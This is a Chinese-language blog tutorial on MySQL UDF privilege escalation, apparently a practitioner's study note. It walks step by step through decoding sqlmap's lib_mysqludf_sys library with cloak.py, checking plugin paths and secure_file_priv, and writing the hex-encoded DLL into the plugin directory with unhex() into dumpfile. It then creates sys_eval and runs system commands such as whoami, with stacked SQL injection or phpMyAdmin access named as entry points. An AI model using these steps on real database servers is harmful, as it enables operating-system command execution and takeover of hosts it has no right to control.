MySql UDF提权介绍

UDF(User Defined Functions)即用户自定义函数,通过这种方式可以实现命令执行,其原理是通过lib_mysqludf_sys提供的函数可以执行系统命令 攻击场景:同之前利用日志写WebShell的场景,即堆叠注入或MySQL终端权限或类似phpMyAdmin数据库管理工具后台权限等

UDF的几个关键函数

sys_eval():执行任意命令,并将输出返回

sys_exec():执行任意命令,并将返回码返回

sys_get():获取一个环境变量

sys set():创建或修改一个环境变量

UDF文件获取的方式

https://github.com/mysqludf/lib_mysqludf_sys

sqlmap工具中的UDF文件

sqlmap下:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

sqlmap中的UDF文件位于sqlmap/data/udf/mysqI/目录中,该文件经过编码,需要使用sqlmap/extra/cloak目录下的cloak.py文件进行解码

liunx:

python cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys.so

windwos:

python cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll

dumpfile语法

dumpfile:功能、语法及限制同outfile,但一次只导出一行内容

基本语法: select[列名] from table [where语句] intodumpfile '目标文件'[option];

两者区别

outfile可导出多行数据,而dumpfile只导出一行outfile在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

查看路径

用phpstudy的Extensions\MySQL5.7.26\bin\mysql.exe客户端程序,通过获取代的账号密码登录mysql服务端

查看mysql服务器公共库路径

show variables like 'plugin%';        

查看secure_file_priv值是否为空

show global variables like 'secure%'; 

去查看它的设置,发现设置为NULL,secure_file_priv为NULL是禁止导出文件的意思。怪不得无法导出十六进制,那我们就去设置一下吧。我们把secure_file_priv设置为secure_file_priv=

那么我们可以通过修改my.ini去设置secure_file_priv 。

查看mysql安装路径

select @@basedir;

然后访问这个地址,拿到my.ini

然后我们打开my.ini(以记事本方式打开即可)

添加下面标红的语句,保存退出。

secure_file_priv=

然后再查看一下,发现secure_file_priv已经改过来了

确定平台是64位还是32位

show variables like '%version_%';

将udf.dll写入到plugin目录下

先在Mysql根目录中国新建lib\plugin的子目录,再往mysql的plugin目录中写UDF文件

select unhex('xxx') into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys.dll';

注意: unhex()函数值就是UDF文件的Hex值,在Linux下可以使用hexdump命令获取,在Windows下使用WinHex可以获取得到 利用dumpfile才能将原文件数据原封不动地写到指定文件中

WinHex

WinHex是一款16进制的文本编辑器与磁盘编辑软件。可以进行Hex和ASCII编码的编辑与修改,支持多文件搜寻替换功能模式,一般运算和逻辑运算,磁盘磁区的编辑,文件比对和分析功能 下载地址: 【WinHex下载】2024年最新官方正式版WinHex 免费下载 - 腾讯软件中心官网 这里用WinHex打开获取lib_mysqludf_sys.dll文件Hex数据

名字执行

创建函数

create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

执行

select sys_eval("whoami");

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部